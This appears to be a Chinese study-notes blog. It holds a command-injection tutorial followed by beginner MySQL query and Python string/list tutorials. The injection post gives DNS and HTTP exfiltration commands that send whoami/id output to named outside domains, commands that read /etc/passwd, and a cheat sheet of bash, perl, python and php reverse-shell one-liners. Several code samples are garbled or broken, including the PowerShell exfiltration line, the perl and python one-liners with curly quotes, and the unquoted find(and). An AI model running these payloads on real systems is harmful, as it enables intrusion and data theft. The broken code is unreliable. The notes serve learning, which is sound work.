在实际应用中，绝对不要以这种方式处理用户输入，因为它允许攻击者执行恶意命令。应该进行适当的验证、过滤和参数化命令，以确保用户输入不会被误解为可执行代码。

# 命令执行基础

# 多条命令执行

linux

	分号 `;`：分号用于将多个命令按顺序连接在一起，不管前一个命令是否成功执行，都会继续执行下一个命令。
	command1 ; command2
	例如:
	ping 127.0.0.1 ; ls
	两条命令都会执行

	双与号 &&：双与号用于将多个命令连接在一起，只有前一个命令成功执行（返回退出状态码为0）时，才会继续执行下一个命令。
	command1 && command2

	双竖线 \|\|：双竖线用于将多个命令连接在一起，只有前一个命令未成功执行（返回退出状态码不为0）时，才会继续执行下一个命令。
	command1 \|\| command2
	例如：
	pinyyt 127.0.0.1 \|\| ls
	因为没有这个命令所以报错后面的ls将会执行

	分号和 &：分号和 & 结合在一起使用时，可以使命令在后台运行，而不会阻塞终端。这在需要运行长时间任务或定时任务时非常有用。
	command1 & command2

	反引号 `：反引号用于将命令的输出赋给变量。它允许您在命令中嵌套执行其他命令，并将结果存储在变量中。
	result=`command1`

	花括号 {}：花括号用于将多个命令分组在一起，以便可以在连接符的上下文中将多个命令视为一个命令。
	{ command1 ; command2 ; command3 ; }

Windows

	&：在 Windows 中，& 符号用于连接多个命令，按顺序执行它们。
	command1 & command2
	例如:
	ping 127.0.0.1 & dir

	&&： && 符号用于连接多个命令，只有前一个命令成功执行（返回退出代码为0）时，才会继续执行下一个命令。
	command1 && command2
	例如:
	ping 127.0.0.1 && dir
	前面命令必须成功

	\|\|： \|\| 符号用于连接多个命令，只有前一个命令未成功执行（返回退出代码不为0）时，才会继续执行下一个命令。
	command1 \|\| command2
	例如:
	pingyyy 127.0.0.1 \|\| dir

	\|：在 Windows 中，\| 符号用于将一个命令的输出作为另一个命令的输入，实现管道操作。
	command1 \| command2

	^：用于在 Windows 命令提示符中分行输入长命令，可以将 ^ 放在行尾来延续命令。
	command1 ^
	command2

# 命令执行获取敏感信息

win 操作系统
type c:\windows\win.ini
linux 操作系统
cat /etc/passwd

# 命令执行无回显

# DNS 外带

win 命令

win 命令比较复杂

for /F "delims=" %i in (‘whoami’) do ping -n 1 %i.nsalgofymd.dgrh3.cn (获得计算机名)

for /F “delims=\ tokens=2” %i in (‘whoami’) do ping -n 1 %i.nsalgofymd.dgrh3.cn（获取用户名）

for /F "delims=\" %i in ('whoami') ：这部分是一个 for 循环命令。它使用 for 命令来遍历 whoami 命令的输出，并将输出中的每一行（以反斜杠 \ 作为分隔符）分配给变量 %i 。
do ping -n 1 %i.nsalgofymd.dgrh3.cn ：一旦 for 循环遍历 whoami 的输出，它会执行 do 后的命令。在这个例子中，它执行了 ping 命令，试图将 %i.nsalgofymd.dgrh3.cn 的主机名解析为 IP 地址并发送一个 ICMP 回显请求（Ping）。
这个命令的目的是通过执行 whoami 命令获取当前用户的信息，然后将这个信息用作主机名的一部分，然后尝试对这个构建的主机名进行 Ping 操作。

linux

ping -c 1 whoami.nsalgofymd.dgrh3.cn

# 写入文件

可以通过 > 把内容输入到文件里然后访问文件查看

例如：

whoami > admin

然后浏览器访问这个文件 http://xxx.xxx.xxx/xxx/admin

# 时间盲注

可以通过时间盲注跑数据借助 || && 的惰性

linux 使用 seelp 函数

win 使用比较耗时间的 ping -n 5

# HTTP 外带

开一个 http 服务自己的域名 gyzero.shop

linux 管道利用 wget,curl 进行数据外带会在服务器日志有记录如下

ping -c 3curl gyzero.shop/ls

ping -c 3wget gyzero.shop/$(id|base64)

windows

powershell 进行外带数据

for /F %x in (echo 'zzzz') do powershell $b =

[system.convert]::tobase64string(system.text.encoding)::utf-8.getbytes(‘%x’)):$b=new=object

system.net.webclient;$b.downloadstring('http://gyzero.shop/httplig/'+$a);

# 反弹 shell

远程服务器 nc 监听
nc -vlnp 8080

受害者反弹 shell

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl -e 'use
Socket; $i="10.0.0.1";$ p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect( S,sockaddr_in( $p,inet_aton($ i)))){open(STDIN,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”);ex ec(“/bin/sh -i”);};’
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1 ",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

mysql增删改查

2023-11-01T10:01:28.000Z

# 连接数据库

	连接数据库
	/bin#mysql -u root -p
	password:
	增 create database 数据库名字;
	结尾要加分号
	查询数据库 show databaes;查询所有数据库
	查询指定数据库show create database 名字;
	use 数据库名字进入数据库
	mysql注释符"#" "/123/" " --"

# 创建表

	查看表结构 desc table 表名;
	查看表 desc 表名；
	查看当前数据库所有表 show tables;
	创建表 create table if not exists GYusers (GYid int(100) auto_increment,
	users varchar(30) not null,
	password varchar(40) not null,
	email varchar(40) not null,
	primary KEY (GYid)
	)engine=myisam default charset=utf8;

	auto_increment(定义列为自增的属性，一般用于主键，数值会自动加1。)
	not null不可为null
	primary key (关键字用于定义列为主键。您可以使用多列来定义主键，列间以逗号分隔。)
	engine=(选择数据库引擎)常见的数据库引擎 myisam,InnoDB
	charset=(设置编码)
	if not exists(表示当相同的表名存在时，则不执行此创建语句，避免语句执行错误)
	default(为该属性设置默认值)

	通过命令提示符创建表
	mysql> create table if not exists GYusers (
	-> GYid int not null auto_increment,
	-> users varchar(30) not null,
	-> password varchar(40) not null,
	-> email varchar(40) not null,
	-> PRIMARY KEY (GYid)
	-> )engine=myisam default charset=utf8;
	Query OK, 0 rows affected (0.16 sec)
	mysql>

# 修改表的操作

	删除表
	drop table 表名;
	mysql>drop table gy_table;

	修改表名
	alter table 旧表名 rename 新表名；
	mysql>alter table gy_table rename ar_table;

	修改字段名
	ALTER TABLE 表名 CHANGE 旧属性名新属性名新数据类型;
	mysql>alter table nasa change qqn qq int(10);

	修改字段的数据类型
	alter table 表名 modify 属性名数据类型修改字段的数据类型
	mysql>alter table nasa modify password int not null;
	同时也可以修改可以为空不可以为空加上not null表示不可以为空只有null
	表示可以为空不加就代表不修改

	增加字段名
	mysql>alter table add nasa qq int(10) unsigned null;
	unsigned(不允许有符号可以用做不能有负数)
	ALTER TABLE 表名 ADD 属性名1 数据类型 [完整性约束条件] [FIRST \| AFTER 属性名2];
	在某属性名后增加
	mysql> alter table users add qq int(10) not null after password;
	在开头添加
	mysql>alter table users add addres varchar(30) not null first;

	删除字段
	ALTER TABLE 表名 DROP 属性名;
	mysql>alter table users drop password;

	更改表的存储引擎
	格式：ALTER TABLE 表名 ENGINE = 存储引擎名;
	mysql> alter table users engine=InnoDB;

# 增删改查

	增
	insert into users(username,password,qq,email)va
	lues("admin","admin123",112233,"31166@qq.com");
	增加两条
	insert into users(username,password,qq,email)
	values("root","root",1133333,"30099@qq.com"),("gyar","adminroot",878787,"admin@qwe.com");

	删除
	delete from users where id=1;
	where条件 id=1
	不添加where语句代表全部删除

	更改
	update users set password="admin321"where id=2;
	更改多个
	update users set password="admin321",qq="75757575"where id=2;

	查询
	查询所有
	select * from users;
	查询指定
	select password,qq from users;
	查询id=1的password,qq
	select password,qq from users where id=3;
	select password,qq from users where id>3;
	select password,qq from users where id<3;

	in查询
	查询id=2,4,5
	mysql>select * from users where id in(2,4,5);
	+----+----------+-----------+----------+---------------+
	\| id \| username \| password \| qq \| email \|
	+----+----------+-----------+----------+---------------+
	\| 2 \| admin \| admin321 \| 75757575 \| 31166@qq.com \|
	\| 4 \| gyar \| adminroot \| 878787 \| admin@qwe.com \|
	\| 5 \| adminer \| 443322114 \| 21987321 \| 123408@ad.com \|
	+----+----------+-----------+----------+---------------+

	between查询
	查询2到4
	mysql>select password,qq from users where id between 2 and 4;
	+-----------+---------+
	\| password \| qq \|
	+-----------+---------+
	\| admin321 \| 75757575 \|
	\| root \| 1133333 \|
	\| adminroot \| 878787 \|
	+-----------+---------+
	不查询1到3
	mysql> select password,qq from users where id not between 1 and 3;
	+-----------+----------+
	\| password \| qq \|
	+-----------+----------+
	\| adminroot \| 878787 \|
	\| 443322114 \| 21987321 \|
	+-----------+----------+

	like查询
	查询username字段里带m的
	mysql>select * from users where username like "%m%";
	+----+----------+----------+----------+---------------+
	\| id \| username \| password \| qq \| email \|
	+----+----------+----------+----------+---------------+
	\| 2 \| admin \| admin321 \| 75757575 \| 31166@qq.com \|
	\| 5 \| adminer \| 443322114 \| 21987321 \| 123408@ad.com \|
	+----+----------+----------+----------+---------------+
	查询email字段里带we的
	mysql> select * from users where email like "%we%";
	+----+----------+-----------+--------+---------------+
	\| id \| username \| password \| qq \| email \|
	+----+----------+-----------+--------+---------------+
	\| 4 \| gyar \| adminroot \| 878787 \| admin@qwe.com \|
	+----+----------+-----------+--------+---------------+

	下划线 _ 匹配一个字符
	select* from users where username like "admi_"
	mysql> select * from users where username like "admi_";
	+----+----------+----------+---------+--------------+
	\| id \| username \| password \| qq \| email \|
	+----+----------+----------+---------+--------------+
	\| 2 \| admin \| admin321 \| 75757575 \| 31166@qq.com \|
	+----+----------+----------+---------+--------------+
	充当下一个字符

	满足多个条件 and
	mysql> select * from users where id=3 and password="root";
	+----+----------+----------+---------+--------------+
	\| id \| username \| password \| qq \| email \|
	+----+----------+----------+---------+--------------+
	\| 3 \| root \| root \| 1133333 \| 30099@qq.com \|
	+----+----------+----------+---------+--------------+


	满足任意一个条件 or
	mysql> select * from users where id=3 or password="roo"；
	+----+----------+----------+---------+--------------+
	\| id \| username \| password \| qq \| email \|
	+----+----------+----------+---------+--------------+
	\| 3 \| root \| root \| 1133333 \| 30099@qq.com \|
	+----+----------+----------+---------+--------------+
	1 row in set (0.00 sec)

	聚合查询
	聚合函数包括 COUNT()，SUM()，AVG()，MAX() 和 MIN()。其中，COUNT() 用来统计
	录的条数；SUM() 用来计算字段值的总和；AVG() 用
	来计算字段值的平均值；MAX() 用来查询字段的最大值；MIN() 用来查询字段的最小值。
	count 返回行数
	mysql> select count(*) from users;
	+----------+
	\| count(*) \|
	+----------+
	\| 4 \|
	+----------+
	1 row in set (0.00 sec)

	mysql> select count(id) from users;
	+-----------+
	\| count(id) \|
	+-----------+
	\| 4 \|
	+-----------+
	1 row in set (0.00 sec)

	sum返回某列的和
	mysql> select sum(qq) from users;
	+----------+
	\| sum(qq) \|
	+----------+
	\| 26004269 \|
	+----------+
	1 row in set (0.00 sec)

	avg返回某列平均值
	mysql> select avg(qq) from users;
	+--------------+
	\| avg(qq) \|
	+--------------+
	\| 6501067.2500 \|
	+--------------+
	1 row in set (0.00 sec)

	max返回最大值
	mysql> select max(qq) from users;
	+----------+
	\| max(qq) \|
	+----------+
	\| 21987321 \|
	+----------+
	1 row in set (0.00 sec)



	MIN() 返回某列的最小值
	mysql> select min(qq) from users;
	+---------+
	\| min(qq) \|
	+---------+
	\| 878787 \|
	+---------+
	1 row in set (0.00 sec)

	GROUP BY单独使用
	单独使用 GROUP BY 关键字时，查询结果会只显示每个分组的第一条记录。


	GROUP_CONCAT()
	GROUP BY 关键字可以和 GROUP_CONCAT() 函数一起使用。GROUP_CONCAT() 函数
	会把每个分组的字段值都显示出来
	mysql> SELECT `username`, GROUP_CONCAT(qq) FROM users group by username;
	+----------+------------------+
	\| username \| GROUP_CONCAT(qq) \|
	+----------+------------------+
	\| admin \| 75757575,2931023 \|
	\| adminer \| 21987321 \|
	\| gyar \| 878787 \|
	\| root \| 1133333 \|
	+----------+------------------+

	count和group by
	mysql> select username,count(username) from users group by username;
	+----------+-----------------+
	\| username \| count(username) \|
	+----------+-----------------+
	\| admin \| 2 \|
	\| root \| 1 \|
	\| gyar \| 1 \|
	\| adminer \| 1 \|
	+----------+-----------------+

	WITH POLLUP 关键字用来在所有记录的最后加上一条记录，这条记录是上面所有记
	录的总和，即统计记录数量。
	mysql> select `username`, group_concat(qq) from users group by username WITH ROLLUP;
	+----------+-----------------------------------------+
	\| username \| group_concat(qq) \|
	+----------+-----------------------------------------+
	\| admin \| 75757575,2931023 \|
	\| adminer \| 21987321 \|
	\| gyar \| 878787 \|
	\| root \| 1133333 \|
	\| NULL \| 75757575,2931023,21987321,878787,1133333 \|
	+----------+-----------------------------------------+

	limit 查询
	限制查询数量
	从1开始查询6个
	mysql> select * from users limit 1,6;
	+----+----------+-----------+----------+---------------+
	\| id \| username \| password \| qq \| email \|
	+----+----------+-----------+----------+---------------+
	\| 3 \| root \| root \| 1133333 \| 30099@qq.com \|
	\| 4 \| gyar \| adminroot \| 878787 \| admin@qwe.com \|
	\| 5 \| adminer \| 443322114 \| 21987321 \| 123408@ad.com \|
	\| 6 \| admin \| password \| 2931023 \| admin123@.com \|
	+----+----------+-----------+----------+---------------+
	4 rows in set (0.00 sec)


	子查询
	as(起一个别名)
	mysql> select * ,(select version())as 数据库版本 from users;
	+----+----------+-----------+----------+---------------+------------+
	\| id \| username \| password \| qq \| email \| 数据库版本 \|
	+----+----------+-----------+----------+---------------+------------+
	\| 2 \| admin \| admin321 \| 75757575 \| 31166@qq.com \| 8.0.32 \|
	\| 3 \| root \| root \| 1133333 \| 30099@qq.com \| 8.0.32 \|
	\| 4 \| gyar \| adminroot \| 878787 \| admin@qwe.com \| 8.0.32 \|
	\| 5 \| adminer \| 443322114 \| 21987321 \| 123408@ad.com \| 8.0.32 \|
	\| 6 \| admin \| password \| 2931023 \| admin123@.com \| 8.0.32 \|
	+----+----------+-----------+----------+---------------+------------+



	where型子查询
	（把内层查询结果当作外层查询的比较条件）
	mysql> select * from users where id in (select id from users where id<10);
	+----+----------+-----------+----------+---------------+
	\| id \| username \| password \| qq \| email \|
	+----+----------+-----------+----------+---------------+
	\| 2 \| admin \| admin321 \| 75757575 \| 31166@qq.com \|
	\| 3 \| root \| root \| 1133333 \| 30099@qq.com \|
	\| 4 \| gyar \| adminroot \| 878787 \| admin@qwe.com \|
	\| 5 \| adminer \| 443322114 \| 21987321 \| 123408@ad.com \|
	\| 6 \| admin \| password \| 2931023 \| admin123@.com \|
	+----+----------+-----------+----------+---------------+
	5 rows in set (0.00 sec)


	from型子查询
	(把内层的查询结果供外层再次查询)
	mysql> select * from(select username,password from users) as ctt where username="admin";
	+----------+----------+
	\| username \| password \|
	+----------+----------+
	\| admin \| admin321 \|
	\| admin \| password \|
	+----------+----------+
	2 rows in set (0.00 sec)

	mysql> select * from(select id,username,password from users) as ctt where id>3;
	+----+----------+-----------+
	\| id \| username \| password \|
	+----+----------+-----------+
	\| 4 \| gyar \| adminroot \|
	\| 5 \| adminer \| 443322114 \|
	\| 6 \| admin \| password \|
	+----+----------+-----------+

	mysql> select * from(select id,username,password from users) as ctt where username="admin";
	+----+----------+----------+
	\| id \| username \| password \|
	+----+----------+----------+
	\| 2 \| admin \| admin321 \|
	\| 6 \| admin \| password \|
	+----+----------+----------+



	exists型子查询
	（把外层查询结果拿到内层，看内层的查询是否成立）

	mysql> select * from users where exists(select * from users where id>3);
	+----+----------+-----------+----------+---------------+
	\| id \| username \| password \| qq \| email \|
	+----+----------+-----------+----------+---------------+
	\| 2 \| admin \| admin321 \| 75757575 \| 31166@qq.com \|
	\| 3 \| root \| root \| 1133333 \| 30099@qq.com \|
	\| 4 \| gyar \| adminroot \| 878787 \| admin@qwe.com \|
	\| 5 \| adminer \| 443322114 \| 21987321 \| 123408@ad.com \|
	\| 6 \| admin \| password \| 2931023 \| admin123@.com \|
	+----+----------+-----------+----------+---------------+




	union联合查询
	注意两边的列数要一样不然会报错，可以用数字子母等占位
	mysql> select * from users union select 1,2,3,4,5 from nasa;
	+----+----------+-----------+----------+---------------+
	\| id \| username \| password \| qq \| email \|
	+----+----------+-----------+----------+---------------+
	\| 2 \| admin \| admin321 \| 75757575 \| 31166@qq.com \|
	\| 3 \| root \| root \| 1133333 \| 30099@qq.com \|
	\| 4 \| gyar \| adminroot \| 878787 \| admin@qwe.com \|
	\| 5 \| adminer \| 443322114 \| 21987321 \| 123408@ad.com \|
	\| 6 \| admin \| password \| 2931023 \| admin123@.com \|
	+----+----------+-----------+----------+---------------+
	5 rows in set (0.00 sec)

	当然也是可以这样
	mysql> select id,username,password from users union select naid,password,(select version()) from nasa;
	+----+-------------+-----------+
	\| id \| username \| password \|
	+----+-------------+-----------+
	\| 2 \| admin \| admin321 \|
	\| 3 \| root \| root \|
	\| 4 \| gyar \| adminroot \|
	\| 5 \| adminer \| 443322114 \|
	\| 6 \| admin \| password \|
	\| 1 \| admin123 \| 8.0.32 \|
	\| 2 \| ad65123 \| 8.0.32 \|
	\| 3 \| ad6rewt5123 \| 8.0.32 \|
	\| 4 \| wet34t5123 \| 8.0.32 \|
	+----+-------------+-----------+

	mysql> select id,username,password from users union select naid,password,(select version()) from nasa limit 3,10;
	+----+-------------+----------+
	\| id \| username \| password \|
	+----+-------------+----------+
	\| 5 \| adminer \| 443322114 \|
	\| 6 \| admin \| password \|
	\| 1 \| admin123 \| 8.0.32 \|
	\| 2 \| ad65123 \| 8.0.32 \|
	\| 3 \| ad6rewt5123 \| 8.0.32 \|
	\| 4 \| wet34t5123 \| 8.0.32 \|
	+----+-------------+----------+
	6 rows in set (0.00 sec)

字符串,列表,元组,字典

2023-11-01T08:46:07.000Z

# 字符串

	如下定义的变量a，存储的是数字类型的值
	a = 12345

	如下定义的变量b，存储的是字符串类型的值
	a = "jfaolidshuioweah"
	v = "你好"
	双引号或者单引号中的数据，就是字符串



	字符串的输出:
	name = 'czxy'
	position = '哈哈哈'
	address = '啦啦啦'

	print('--------------------------------------------------')
	print("姓名：%s" % name)
	print("职位：%s" % position)
	print("公司地址：%s" % address)
	print('--------------------------------------------------')


	字符串的输入
	之前在学习input的时候，通过它能够完成从键盘获取数据，然后保存到指定的变量中；
	注意：input获取的数据，都以字符串的方式进行保存，即使输入的是数字，那么也是
	以字符串方式保存

	userName = input('请输入用户名:')
	print("用户名为：%s" % userName)

	password = input('请输入密码:')
	print("密码为：%s" % password)

# 下标切片

所谓 “下标”，就是编号，就好比快递存储柜的编号，通过这个编号就能找到相应的存储空间字符串中 "下标" 的使用

列表与元组支持下标索引好理解，字符串实际上就是字符的数组，所以也支持下标索引。

如果有字符串:name = ‘abcdef’，在内存中的实际存储如下:

如果想取出部分字符，那么可以通过下标的方法，（注意 python 中下标从 0 开始）

	name = "python"

	print(name[0])
	print(name[1])
	print(name[3])

切片是指对操作的对象截取其中一部分的操作。字符串、列表、元组都支持切片操作。

# 切片的语法：起始：结束：步长

注意：选取的区间从 "起始" 位开始，到 "结束" 位的前一位结束（不包含结束位本身)，步长表示选取间隔。

以字符串为例。

如果取出一部分，则可以在中括号 [] 中，使用:

	name = 'python'
	print(name[0:3]) # 取下标 0~2 的字符
	结果:
	pyt

	name = "python"
	print(name[1:5]) # 取下标 1~4 的字符
	结果:
	ytho
	不包含第五位n

	a = 'abcdef'
	print(a[0:6]) #获取全部
	print(a[:6]) #起始位下标不写从最左侧开始获取
	print(a[:3])
	print(a[3:]) #结束位下标不写一直获取到最后

	print(a[0:6:2]) # 步长是正数从左向右取注意起始下标和结束下标也要从左向右
	print(a[0:6:3])

	print(a[6:0:-2]) # 步长是负数从右向左取注意起始下标和结束下标也要从右向左


	想一想

	（面试题）给定一个字符串aStr, 请反转字符串
	# 索引是通过下标取某一个元素
	# 切片是通过下标去某一段元素

	s = 'Hello World!'

	print(s[4])

	print(s)
	# 取出所有元素（没有起始位和结束位之分），默认步长为 1
	print(s[:])
	# 从下标为 1 开始，取出后面所有的元素（没有结束位）
	print(s[1:])
	# 从起始位置开始，取到下标为 5 的前一个元素
	print(s[:5])
	# 从起始位置开始，取到倒数第 2 个元素
	print(s[:-1])
	# 从倒数第 4 个元素开始，取到倒数第 2 个元素
	print(s[-4:-1])
	# 从下标为 1 开始，取到下标为 5 的前一个元素，步长为 2
	print(s[1:5:2])

	# python 字符串快速逆置
	print(s[::-1]) # 从后向前，按步长为 1 进行取值

# 字符串常见操作

	如有字符串mystr = 'hello world itcast and itcastcpp'，以下是常见的操作

	1,find
	检测 str 是否包含在字符串中，如果指定范围 beg 和 end ，则检查是否包含在指
	定范围内，如果包含返回开始的索引值，否则返回-1
	mystr.find(str, start=0, end=len(mystr)) # 方法介绍


	mystr = 'hello world itcast and itcastcpp'
	demo = mystr.find(and)
	print(demo)
	结果:19

	demo = mystr.find(and,1,4)
	print(demo)
	结果:-1


	rfind
	类似于 find()函数，不过是从右边开始查找.

	----------------------------------------------------------------------------------------
	2,index
	跟find()方法一样，只不过如果str不在 mystr中会报一个异常.
	demo = mystr.index(and,0,10)
	print(demo)
	结果：
	Traceback (most recent call last):
	File "D:/python基础/基础/dome.py", line 4, in <module>
	demo = mystr.index("and",0,10)
	ValueError: substring not found


	rindex
	类似于 index()，不过是从右边开始
	----------------------------------------------------------------------------------------
	3,count

	返回 str在start和end之间在 mystr里面出现的次数
	mystr = 'hello world itcast and itcastcpp'

	demo = mystr.count("t")
	print(demo)
	结果:4

	----------------------------------------------------------------------------------------
	4,replace
	把 mystr 中的 str1 替换成 str2,如果 count 指定，则替换不超过 count 次.

	str01 = 'hello world xiaoming and xiaoming'
	# 把字符串 str01 里的 xiaoming 变成 xiaohong, 最后结果赋值给 str02
	str02 = str01.replace('xiaoming', 'xiaohong')
	# 注意原字符串 str01 是不变的
	print(str01) # hello world xiaoming and xiaoming
	print(str02) # hello world xiaohong and xiaohong

	str01 = 'hello world xiaoming and xiaoming'
	# 1 代表如果 str01 有多个匹配的值，那么替换一次，可以根据需求指定次数，如果不写默认值是 - 1，全部都替换
	str02 = str01.replace('xiaoming', 'xiaohong',1)

	print(str01) # hello world xiaoming and xiaoming
	print(str02) # hello world xiaohong and xiaoming\

	-----------------------------------------------------------------------------------------
	5,strip

	a=' aBc '
	b=a.strip()
	print(b)
	strip去除两边空格

	rstrip
	# rstrip 去除右边空格
	a=' aBc '
	b=a.rstrip()
	print(b)

	print(a.lstrip())
	lstrip去除左边空格

	---------------------------------------------------------------------------------------
	6,print(a.lower())
	lower把所有变成小写
	7,print(a.upper())
	转换大写

	---------------------------------------------------------------------------------------
	8,print(a.startswith('ab'))
	# startswith 判断是否是这个开头是返回 true 不是返回 false
	9,print(a.endswith(' '))
	endswith以什么结尾

	----------------------------------------------------------------------------------------
	10,split
	以 seq为分隔符对字符串mystr分隔，如果 maxsplit有指定值，则仅分隔 maxsplit 个子字符
	串, 最后的结果存放到列表里
	mystr.split(seq, maxsplit)

	str01 = '2018-01-01'
	# 用指定字符串把 str01 拆分成多个数据，存放到一个数组里
	list01 = str01.split('-')
	# 注意原字符串 str01 不会改变
	print(str01) # 2018-01-01
	print(list01) # ['2018', '01', '01']

	str01 = 'hello ha ha he he world\t python'
	list01 = str01.split()
	print(list01) # ['hello', 'ha', 'ha', 'he', 'he', 'world', 'python']


	注意如果分隔符在字符串左侧或者右侧，结果会多出空字符串，效果如下
	str01 = 'hello ha ha he he'
	list01 = str01.split('he')
	print(list01) # ['', 'llo ha ha ', ' ', '']

	可以指定分隔的次数如下
	str01 = '2018-01-02-03-04'
	# 只分隔前两次的分隔符
	list01 = str01.split('-',2)
	print(list01) # ['2018', '01', '02-03-04']
	----------------------------------------------------------------------------------------
	11,capitalize
	把字符串的第一个字符大写
	mystr.capitalize()

	str01 = 'hello python ha ha'
	str02 = str01.capitalize()
	print(str02) # Hello python ha ha
	----------------------------------------------------------------------------------------

# 列表

	前面学习的字符串可以用来存储一串信息，那么想一想，怎样存储咱们班所有同学的名字呢？
	定义100个变量，每个变量存放一个学生的姓名可行吗？有更好的办法吗？


	列表的格式
	namesList = ['xiaoWang','xiaoZhang','xiaoHua']

	比C语言的数组强大的地方在于列表中的元素可以是不同类型的
	testList = [1, 'a']


	打印列表

	namesList = ['xiaoWang','xiaoZhang','xiaoHua']
	print(namesList[0])
	print(namesList[1])
	print(namesList[2])

	xiaoWang
	xiaoZhang
	xiaoHua

# 列表的循环遍历 [列表的循环遍历

	使用for循环
	为了更有效率的输出列表的每个数据，可以使用循环来完成

	name = [1,2,"小明","小红",5,7,98,0,76,4]

	for names in name:
	print(name)


	使用while循环
	name = [1,2,"小明","小红",5,7,98,0,76,4]
	i = len(name)
	z = 0
	while z<i:
	print(name[z])
	z+=1

# 列表的相关操作

	列表中存放的数据是可以进行修改的，比如增、删、改

	<1>添加元素("增"append, extend, insert)
	-----------------------------------------------------------------------------------------
	1,append
	通过append可以向列表添加元素
	name = ["小红","小明","小刚"]
	print(name)
	['小红', '小明', '小刚']

	name.append("迪迦")
	print(name)
	['小红', '小明', '小刚', '迪迦']
	----------------------------------------------------------------------------------------

	2,extend
	通过extend可以将另一个集合中的元素逐一添加到列表中

	name = ["小红","小明","小刚"]
	password = [123,456,789]
	password.extend(name)
	print(password)

	[123, 456, 789, '小红', '小明', '小刚']
	-----------------------------------------------------------------------------------------
	3,insert
	insert(index, object) 在指定位置index前插入元素object
	name = ["小红","小明","小刚"]
	name.insert(1,"小李")
	print(name)
	['小红', '小李', '小明', '小刚']
	---------------------------------------------------------------------------------------
	<2>修改元素("改")
	修改元素的时候，要通过下标来确定要修改的是哪个元素，然后才能进行修改


	a = ["啦啦啦","哈哈哈","呵呵呵"]

	for zxc in a:
	print(zxc)
	print("----------更改之前-------------")
	啦啦啦
	哈哈哈
	呵呵呵
	----------更改之前-------------
	a[1] = "乐乐乐乐"

	for cxz in z:
	print(cxz)
	print("----------更改之后-------------")
	啦啦啦
	乐乐乐乐
	呵呵呵
	----------更改之后-------------

	---------------------------------------------------------------------------------------
	<3>查找元素("查"in, not in, index, count)

	所谓的查找，就是看看指定的元素是否存在
	in, not in

	python中查找的常用方法为：

	in（存在）,如果存在那么结果为true，否则为false
	not in（不存在），如果不存在那么结果为true，否则false


	name = ["小明","小红","小黑"]

	pyname = input("请输入要查找的姓名")

	if pyname in name:
	print('有这个人')
	else:
	print("查无此人")


	index 和 count
	ndex和count与字符串中的用法相同
	i = ["z","d","e"]
	name.index("z",1,3)

	Traceback (most recent call last):
	File "D:/python基础/基础/dome.py", line 3, in <module>
	name.index("z",1,3)
	ValueError: 'z' is not in list

	---------------------------------------------------------------------------------------
	<4>删除元素("删"del, pop, remove)

	类比现实生活中，如果某位同学调班了，那么就应该把这个条走后的学生的姓名删
	除掉；在开发中经常会用到删除这种功能。

	列表元素的常用删除方法有：

	del：根据下标进行删除
	pop：删除最后一个元素
	remove：根据元素的值进行删除

	demo:(del)

	name = ["零零","二二","三三","四四","五五","六六"]

	for zxcv in name:
	print(zxcv)
	print("删除之前")
	零零
	二二
	三三
	四四
	五五
	六六
	删除之前
	del name[0]
	for zxcv in name:
	print(zxcv)
	print('删除之后')
	二二
	三三
	四四
	五五
	六六
	删除之后


	demo(pop)
	name = ["零零","二二","三三","四四","五五","六六"]

	for zxcv in name:
	print(zxcv)
	print("删除之前")

	name.pop()
	for zxcv in name:
	print(zxcv)
	print('删除之后')
	零零
	二二
	三三
	四四
	五五
	六六
	删除之前
	零零
	二二
	三三
	四四
	五五
	删除之后


	demo(remove)
	name = ["零零","二二","三三","四四","五五","六六"]

	for zxcv in name:
	print(zxcv)
	print("删除之前")

	name.remove("四四")
	for zxcv in name:
	print(zxcv)
	print('删除之后')

	零零
	二二
	三三
	四四
	五五
	六六
	删除之前
	零零
	二二
	三三
	五五
	六六
	删除之后
	----------------------------------------------------------------------------------------

	<5>排序(sort, reverse)
	sort方法是将list按特定顺序重新排列，默认为由小到大，参数reverse=True可改为倒序，由大到小。
	reverse方法是将list逆置。

	>>> a = [1, 4, 2, 3]
	>>> a
	[1, 4, 2, 3]
	>>> a.reverse()
	>>> a
	[3, 2, 4, 1]
	>>> a.sort()
	>>> a
	[1, 2, 3, 4]
	>>> a.sort(reverse=True)
	>>> a
	[4, 3, 2, 1]

# 列表嵌套

	类似while循环的嵌套，列表也是支持嵌套的
	一个列表中的元素又是一个列表，那么这就是列表的嵌套

	#encoding=utf-8

	import random

	# 定义一个列表用来保存 3 个办公室
	offices = [[],[],[]]

	# 定义一个列表用来存储 8 位老师的名字
	names = ['A','B','C','D','E','F','G','H']

	i = 0
	for name in names:
	index = random.randint(0,2)
	offices[index].append(name)

	i = 1
	for tempNames in offices:
	print('办公室%d的人数为:%d'%(i,len(tempNames)))
	i+=1
	for name in tempNames:
	print("%s"%name,end='')
	print("\n")
	print("-"*20)

# 元组

	Python的元组与列表类似，不同之处在于元组的元素不能修改。元组使用小括号，列表使用方括号
	>>> aTuple = ('et',77,99.9)
	>>> aTuple
	('et',77,99.9)

	<1>访问元组

	s=(1,2,3,4,5,6,7,8)
	print(s[4])

	<2>修改元组
	说明： python中不允许修改元组的数据，包括不能删除其中的元素。

	<3>count, index
	index和count与字符串和列表中的用法相同

	>>> a = ('a', 'b', 'c', 'a', 'b')
	>>> a.index('a', 1, 3) # 注意是左闭右开区间
	Traceback (most recent call last):
	File "<stdin>", line 1, in <module>
	ValueError: tuple.index(x): x not in tuple
	>>> a.index('a', 1, 4)
	3
	>>> a.count('b')
	2
	>>> a.count('d')

# 字典

	有没有方法，既能存储多个数据，还能在访问元素的很方便就能够定位到需要的那个元素呢？

	另一个场景：
	学生信息列表，每个学生信息包括学号、姓名、年龄等，如何从中找到某个学生的信息？
	>>> studens = [[1001, "王bao强", 24], [1002, "马rong", 23], [1005, "宋x"，24], ...]
	循环遍历？ No！


	<2>软件开发中的字典
	info = {'name':'班长', 'id':100, 'sex':'f', 'address':'地球亚洲中国北京'}
	# 说明：
	# 字典和列表一样，也能够存储多个数据
	# 列表中找某个元素时，是根据下标进行的
